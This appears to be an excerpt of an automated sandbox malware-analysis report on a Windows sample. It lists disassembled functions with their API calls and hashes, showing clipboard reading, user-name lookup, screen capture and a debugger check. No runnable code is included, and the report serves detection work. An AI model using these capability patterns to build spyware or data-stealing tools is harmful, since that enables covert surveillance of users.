                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorLast_wcschr$CodeInfoLocalePageValid_abort_free
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 4212172061-0
                                                                                                                              • Opcode ID: d51387d99b1e6b249aff8f61d3989bee7608b3a62aead1fc41d833bb042b57a0
                                                                                                                              • Instruction ID: 601d6103ecad0283333aca7e4f79148897faf6e4cefa34abd84194fcdbd45a0d
                                                                                                                              • Opcode Fuzzy Hash: d51387d99b1e6b249aff8f61d3989bee7608b3a62aead1fc41d833bb042b57a0
                                                                                                                              • Instruction Fuzzy Hash: ED61FA35500606AAE724AB75CC86BBB73A8EF04316F14046FFD05D7292EB78ED48C769
                                                                                                                              Function 004493AD Relevance: 6.1, APIs: 4, Instructions: 90timeCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • _free.LIBCMT ref: 004493BD
                                                                                                                                • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?), ref: 00446798
                                                                                                                                • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                                                                                                                              • GetTimeZoneInformation.KERNEL32 ref: 004493CF
                                                                                                                              • WideCharToMultiByte.KERNEL32(00000000,?,00472764,000000FF,?,0000003F,?,?), ref: 00449447
                                                                                                                              • WideCharToMultiByte.KERNEL32(00000000,?,004727B8,000000FF,?,0000003F,?,?,?,00472764,000000FF,?,0000003F,?,?), ref: 00449474
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ByteCharMultiWide$ErrorFreeHeapInformationLastTimeZone_free
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 806657224-0
                                                                                                                              • Opcode ID: 633092c3bba77b0065560d4fdbd9d9f897920caf7f9bf618c5d01735725c6ecb
                                                                                                                              • Instruction ID: 1863d2ad967fb4723a60e4ea427cb143a9fbff6035582c54e6546b9b7662ab80
                                                                                                                              • Opcode Fuzzy Hash: 633092c3bba77b0065560d4fdbd9d9f897920caf7f9bf618c5d01735725c6ecb
                                                                                                                              • Instruction Fuzzy Hash: E1312570908201EFDB18DF69DE8086EBBB8FF0572071442AFE054973A1D3748D42DB18
                                                                                                                              Function 004461F0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 464COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID: PkGNG
                                                                                                                              • API String ID: 0-263838557
                                                                                                                              • Opcode ID: 3af37b45e0065d2a9e4b628ca9eba3ad08e75ba8402ba2670485150a8c7006c8
                                                                                                                              • Instruction ID: a89a86a7c059f2ce1b75669fee0c4fca3fa64158462c9470c468cddaecc71d09
                                                                                                                              • Opcode Fuzzy Hash: 3af37b45e0065d2a9e4b628ca9eba3ad08e75ba8402ba2670485150a8c7006c8
                                                                                                                              • Instruction Fuzzy Hash: FB025D71E002199BEF14CFA9D8806AEBBF1FF49324F26416AD819E7344D734AE41CB85
                                                                                                                              Function 004520C3 Relevance: 4.7, APIs: 3, Instructions: 205COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
                                                                                                                                • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                                                                                                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
                                                                                                                                • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                                                                                                                • Part of subcall function 00448215: _free.LIBCMT ref: 00448274
                                                                                                                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 00448281
                                                                                                                              • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452117
                                                                                                                              • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452168
                                                                                                                              • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452228
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorInfoLastLocale$_free$_abort
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2829624132-0
                                                                                                                              • Opcode ID: efce462eab54bf8eb2a2b6f9a4d43eb8e53eecd25de09d2246b00390d92e3d5e
                                                                                                                              • Instruction ID: 4b80d7ab7a7ff47978e382ad652e238d088576b56b9f239e8998609391b98480
                                                                                                                              • Opcode Fuzzy Hash: efce462eab54bf8eb2a2b6f9a4d43eb8e53eecd25de09d2246b00390d92e3d5e
                                                                                                                              • Instruction Fuzzy Hash: B961C1315006079BDB289F25CE82BBB77A8FF05306F1041ABED15C6642F7B89D89DB58
                                                                                                                              Function 0043BB22 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • IsDebuggerPresent.KERNEL32 ref: 0043BC1A
                                                                                                                              • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0043BC24
                                                                                                                              • UnhandledExceptionFilter.KERNEL32(?), ref: 0043BC31
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3906539128-0
                                                                                                                              • Opcode ID: a72bbe9f24da65e63e608425843f2cf14cbf2294963ef3e60e5c7cfd459546ed
                                                                                                                              • Instruction ID: cbfc558a7ca4bb69983b526de44ffd1abc81b2e56a4044740c9350c1ecaeaada
                                                                                                                              • Opcode Fuzzy Hash: a72bbe9f24da65e63e608425843f2cf14cbf2294963ef3e60e5c7cfd459546ed
                                                                                                                              • Instruction Fuzzy Hash: E131C27590121DABCB21DF65DD89BCDBBB8AF08311F5051EAE80CA6251EB349F858F48
                                                                                                                              Function 00433837 Relevance: 4.5, APIs: 3, Instructions: 30encryptionCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,?,?,004334BF,00000034,?,?,00000000), ref: 00433849
                                                                                                                              • CryptGenRandom.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,PkGNG,00433552,?,?,?), ref: 0043385F
                                                                                                                              • CryptReleaseContext.ADVAPI32(?,00000000,?,?,?,?,?,?,?,?,PkGNG,00433552,?,?,?,0041E251), ref: 00433871
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Crypt$Context$AcquireRandomRelease
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1815803762-0
                                                                                                                              • Opcode ID: 81ae4bbc27a0383ddd18646ed4cc5f88ed8aa0b0f15284250c3048956b898281
                                                                                                                              • Instruction ID: 864202151b2ab8ebdb17250bb7e2999cce5b6c404a207f59f2405eb254ca80c1
                                                                                                                              • Opcode Fuzzy Hash: 81ae4bbc27a0383ddd18646ed4cc5f88ed8aa0b0f15284250c3048956b898281
                                                                                                                              • Instruction Fuzzy Hash: 83E09231308310FAFB341F25AC08F573AA5EB89B67F20093AF211E40E4D2568C018A5C
                                                                                                                              Function 0040B70E Relevance: 4.5, APIs: 3, Instructions: 19clipboardCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • OpenClipboard.USER32(00000000), ref: 0040B711
                                                                                                                              • GetClipboardData.USER32(0000000D), ref: 0040B71D
                                                                                                                              • CloseClipboard.USER32 ref: 0040B725
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Clipboard$CloseDataOpen
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2058664381-0
                                                                                                                              • Opcode ID: c799312c980d18205df260c4494eeab96c1e87453cdfeac26beaa605c81e592b
                                                                                                                              • Instruction ID: a9752f6e69e3a39ef1c6dae57fb9473311d117e3f10fa11c4aa70225693e5904
                                                                                                                              • Opcode Fuzzy Hash: c799312c980d18205df260c4494eeab96c1e87453cdfeac26beaa605c81e592b
                                                                                                                              • Instruction Fuzzy Hash: 4FE0EC31645320EFC2209B609C49B9A6754DF95F52F41843AB905AB2D5DB78CC40C6AD
                                                                                                                              Function 00434C52 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 134COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • IsProcessorFeaturePresent.KERNEL32(0000000A,00000000), ref: 00434C6B
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: FeaturePresentProcessor
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2325560087-3916222277
                                                                                                                              • Opcode ID: e737252210e65bd7558355cab1b99ff1055998ec76fc21d90816c5055d8ae967
                                                                                                                              • Instruction ID: b6e659610939bc40af268f25ffb2b9965a4fe426cdd66f7fc4435c5297b2c53a
                                                                                                                              • Opcode Fuzzy Hash: e737252210e65bd7558355cab1b99ff1055998ec76fc21d90816c5055d8ae967
                                                                                                                              • Instruction Fuzzy Hash: EE515471D002089BEB24CF69D9856DEBBF4FB48354F24956BD819EB350D378AA80CF94
                                                                                                                              Function 004488ED Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,004444CA,?,00000004), ref: 00448940
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: InfoLocale
                                                                                                                              • String ID: GetLocaleInfoEx
                                                                                                                              • API String ID: 2299586839-2904428671
                                                                                                                              • Opcode ID: 2d8ab5e4c08eb423885d267f31dc3d21c73ce0c4a0b39471804a4927225e8e03
                                                                                                                              • Instruction ID: 280d24bb3358c3803ceca68c405fa8cd3b52f77a8ef21af096b961815111c089
                                                                                                                              • Opcode Fuzzy Hash: 2d8ab5e4c08eb423885d267f31dc3d21c73ce0c4a0b39471804a4927225e8e03
                                                                                                                              • Instruction Fuzzy Hash: D1F02B31A40308F7DB119F61DC02F7E7B15DF08751F10056EFC0926261CE399D159A9E
                                                                                                                              Function 00412077 Relevance: 2.6, APIs: 2, Instructions: 55memoryCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,00411F37), ref: 004120E7
                                                                                                                              • HeapFree.KERNEL32(00000000), ref: 004120EE
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Heap$FreeProcess
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3859560861-0
                                                                                                                              • Opcode ID: bbc8ffc4057debe9872561f5e92b4f6919ce40f9ddced797a216f9a420f6d04b
                                                                                                                              • Instruction ID: eee285bae3a3c664d400e4c5f5e220380537cd22e0998a3ce94cd1697e41dfe3
                                                                                                                              • Opcode Fuzzy Hash: bbc8ffc4057debe9872561f5e92b4f6919ce40f9ddced797a216f9a420f6d04b
                                                                                                                              • Instruction Fuzzy Hash: 16112A32000B11EFC7305F64DE85957BBE9FF08715314892EE29696921CB76FCA0CB58
                                                                                                                              Function 00452313 Relevance: 1.6, APIs: 1, Instructions: 83COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
                                                                                                                                • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                                                                                                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
                                                                                                                                • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                                                                                                                • Part of subcall function 00448215: _free.LIBCMT ref: 00448274
                                                                                                                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 00448281
                                                                                                                              • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00452367
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorLast$_free$InfoLocale_abort
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1663032902-0
                                                                                                                              • Opcode ID: 5e55e5787c0a8882e24d5b04e2b41f1e3a8b10b9440aec12057efb59017b927c
                                                                                                                              • Instruction ID: a0857f467e030380fa261c038abb83aeded24e37e53cd803257bf99bba5c3bcd
                                                                                                                              • Opcode Fuzzy Hash: 5e55e5787c0a8882e24d5b04e2b41f1e3a8b10b9440aec12057efb59017b927c
                                                                                                                              • Instruction Fuzzy Hash: 0121B632550206ABDB249E35DD41BBA73A8EF05316F1001BFFD01D6242EBBC9D59CB58
                                                                                                                              Function 00451F9B Relevance: 1.6, APIs: 1, Instructions: 63COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
                                                                                                                                • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                                                                                                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
                                                                                                                                • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                                                                                                              • EnumSystemLocalesW.KERNEL32(004520C3,00000001), ref: 0045200D
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1084509184-0
                                                                                                                              • Opcode ID: 92dc4731b164c5dad593997b290ced1c322b4c5a654dbafbc59ecf52729822b9
                                                                                                                              • Instruction ID: 7d3ee128790e63e9d167a680a676634a6e0759605f9449bc3b94779c572ada63
                                                                                                                              • Opcode Fuzzy Hash: 92dc4731b164c5dad593997b290ced1c322b4c5a654dbafbc59ecf52729822b9
                                                                                                                              • Instruction Fuzzy Hash: E51125372007019FDB189F39C8916BABB91FF8075AB14482EEE4687B41D7B9A946CB44
                                                                                                                              Function 00452543 Relevance: 1.5, APIs: 1, Instructions: 46COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
                                                                                                                                • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                                                                                                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
                                                                                                                                • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                                                                                                              • GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,004522E1,00000000,00000000,?), ref: 0045256F
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorLast$InfoLocale_abort_free
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2692324296-0
                                                                                                                              • Opcode ID: ed905f4e10f5b376defebc36d7d97aa2bb2c1abe5f1ea1ee61b46868c197e3f5
                                                                                                                              • Instruction ID: deb82abe2421a0f23b1c286da40711a82d27d1439ce4f734d0a93897c1f260ce
                                                                                                                              • Opcode Fuzzy Hash: ed905f4e10f5b376defebc36d7d97aa2bb2c1abe5f1ea1ee61b46868c197e3f5
                                                                                                                              • Instruction Fuzzy Hash: 3EF0993290011ABBDB245A20C916BBB3768EB01316F04046BEC05A3241FBB8FD05C698
                                                                                                                              Function 00452036 Relevance: 1.5, APIs: 1, Instructions: 42COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
                                                                                                                                • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                                                                                                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
                                                                                                                                • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                                                                                                              • EnumSystemLocalesW.KERNEL32(00452313,00000001), ref: 00452082
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1084509184-0
                                                                                                                              • Opcode ID: 80e5df12ac25632c7280d140c15a53509e07ecbf1c9f73c72f1a6f69193256f5
                                                                                                                              • Instruction ID: 5d4b7cb44ca553c54ae5d492338df10e7871f8ce083c0ea6e3a4370b1d871309
                                                                                                                              • Opcode Fuzzy Hash: 80e5df12ac25632c7280d140c15a53509e07ecbf1c9f73c72f1a6f69193256f5
                                                                                                                              • Instruction Fuzzy Hash: 44F0FF322003055FDB245F798881A7A7B95FB82769B14446EFE428B681D7F9AC02C604
                                                                                                                              Function 0041B60D Relevance: 1.5, APIs: 1, Instructions: 41COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetUserNameW.ADVAPI32(?,0040F223), ref: 0041B642
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: NameUser
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2645101109-0
                                                                                                                              • Opcode ID: 3d7d98170efc6b6b629f93dc404fb63378f1138ab074e43b779f7395dc78dc1a
                                                                                                                              • Instruction ID: 2f1a7eaa0fafc1393a04fa3680ad11d69711b7caddb5f837a5711c727b94ccef
                                                                                                                              • Opcode Fuzzy Hash: 3d7d98170efc6b6b629f93dc404fb63378f1138ab074e43b779f7395dc78dc1a
                                                                                                                              • Instruction Fuzzy Hash: 3B014F7190011CABCB01EBD5DC45EEDB7BCAF44309F10016AB505B61A1EFB46E88CBA8
                                                                                                                              Function 00448404 Relevance: 1.5, APIs: 1, Instructions: 34COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00445888: EnterCriticalSection.KERNEL32(?,?,00442FDB,00000000,0046E928,0000000C,00442F96,?,?,?,00445B26,?,?,004482CA,00000001,00000364), ref: 00445897
                                                                                                                              • EnumSystemLocalesW.KERNEL32(Function_000483BE,00000001,0046EAD0,0000000C), ref: 0044843C
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: CriticalEnterEnumLocalesSectionSystem
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1272433827-0
                                                                                                                              • Opcode ID: 804d43dbd68489efcf8f22bf06177096911cc4f1bd16e2c376f90d23019e8210
                                                                                                                              • Instruction ID: 9543b0ab25bad403ee5e8d2735ec903229a0e0f586434e65d0c90a277242bfd4
                                                                                                                              • Opcode Fuzzy Hash: 804d43dbd68489efcf8f22bf06177096911cc4f1bd16e2c376f90d23019e8210
                                                                                                                              • Instruction Fuzzy Hash: 6FF0AF72A50204EFE700EF69D946B8D37E0FB04725F10856AF414DB2A2CBB889808F09
                                                                                                                              Function 00451F50 Relevance: 1.5, APIs: 1, Instructions: 31COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00448215: GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
                                                                                                                                • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                                                                                                                • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
                                                                                                                                • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                                                                                                              • EnumSystemLocalesW.KERNEL32(00451EA7,00000001), ref: 00451F87
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1084509184-0
                                                                                                                              • Opcode ID: 4d0c5cba832e86d7a557150270e3ca6bc4d6d332941df2bd00d727cb77582ebf
                                                                                                                              • Instruction ID: 7090a925995da140c065d9916092b781359a33e81ca1c933e4536b6f4f09cf03
                                                                                                                              • Opcode Fuzzy Hash: 4d0c5cba832e86d7a557150270e3ca6bc4d6d332941df2bd00d727cb77582ebf
                                                                                                                              • Instruction Fuzzy Hash: A7F0203674020597CB04AF75C809B6A7F90EBC272AB06009AEE058B662C7799842C754
                                                                                                                              Function 0040F8D1 Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetLocaleInfoA.KERNEL32(00000800,0000005A,00000000,00000003,?,?,?,004154FC,00474EE0,00475A00,00474EE0,00000000,00474EE0,00000000,00474EE0,5.1.0 Pro), ref: 0040F8E5
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: InfoLocale
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2299586839-0
                                                                                                                              • Opcode ID: 60ac6b383c0d02c34bbf412ad9b051435ec7f82dc161eda072fb95a07eb92a85
                                                                                                                              • Instruction ID: 54543d52817102a935349e0949155b160d3bd36039d058f0142c014f19b14c2e
                                                                                                                              • Opcode Fuzzy Hash: 60ac6b383c0d02c34bbf412ad9b051435ec7f82dc161eda072fb95a07eb92a85
                                                                                                                              • Instruction Fuzzy Hash: D5D05B3074421C77D61096959D0AEAA779CD701B52F0001A6BB05D72C0D9E15E0087D1
                                                                                                                              Function 00434B47 Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • SetUnhandledExceptionFilter.KERNEL32(Function_00034B53,0043487A), ref: 00434B4C
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ExceptionFilterUnhandled
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3192549508-0
                                                                                                                              • Opcode ID: 94f820becb3d11eb86a2e9fe35426058ee7de7bf36e1f11b305b7456ad7b3320
                                                                                                                              • Instruction ID: b2b6851a15331e9206a2225a79f218ff0d060d1473a4ca8ef9e7ab7021fb00da
                                                                                                                              • Opcode Fuzzy Hash: 94f820becb3d11eb86a2e9fe35426058ee7de7bf36e1f11b305b7456ad7b3320
                                                                                                                              • Instruction Fuzzy Hash:
                                                                                                                              Function 00418E76 Relevance: 49.3, APIs: 27, Strings: 1, Instructions: 328windowmemoryCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00418E90
                                                                                                                              • CreateCompatibleDC.GDI32(00000000), ref: 00418E9D
                                                                                                                                • Part of subcall function 00419325: EnumDisplaySettingsW.USER32(?,000000FF,?), ref: 00419355
                                                                                                                              • CreateCompatibleBitmap.GDI32(00000000,?), ref: 00418F13
                                                                                                                              • DeleteDC.GDI32(00000000), ref: 00418F2A
                                                                                                                              • DeleteDC.GDI32(00000000), ref: 00418F2D
                                                                                                                              • DeleteObject.GDI32(00000000), ref: 00418F30
                                                                                                                              • SelectObject.GDI32(00000000,00000000), ref: 00418F51
                                                                                                                              • DeleteDC.GDI32(00000000), ref: 00418F62
                                                                                                                              • DeleteDC.GDI32(00000000), ref: 00418F65
                                                                                                                              • StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,?,?,00CC0020), ref: 00418F89
                                                                                                                              • GetIconInfo.USER32(?,?), ref: 00418FBD
                                                                                                                              • DeleteObject.GDI32(?), ref: 00418FEC
                                                                                                                              • DeleteObject.GDI32(?), ref: 00418FF9
                                                                                                                              • DrawIcon.USER32(00000000,?,?,?), ref: 00419006
                                                                                                                              • BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00660046), ref: 0041903C
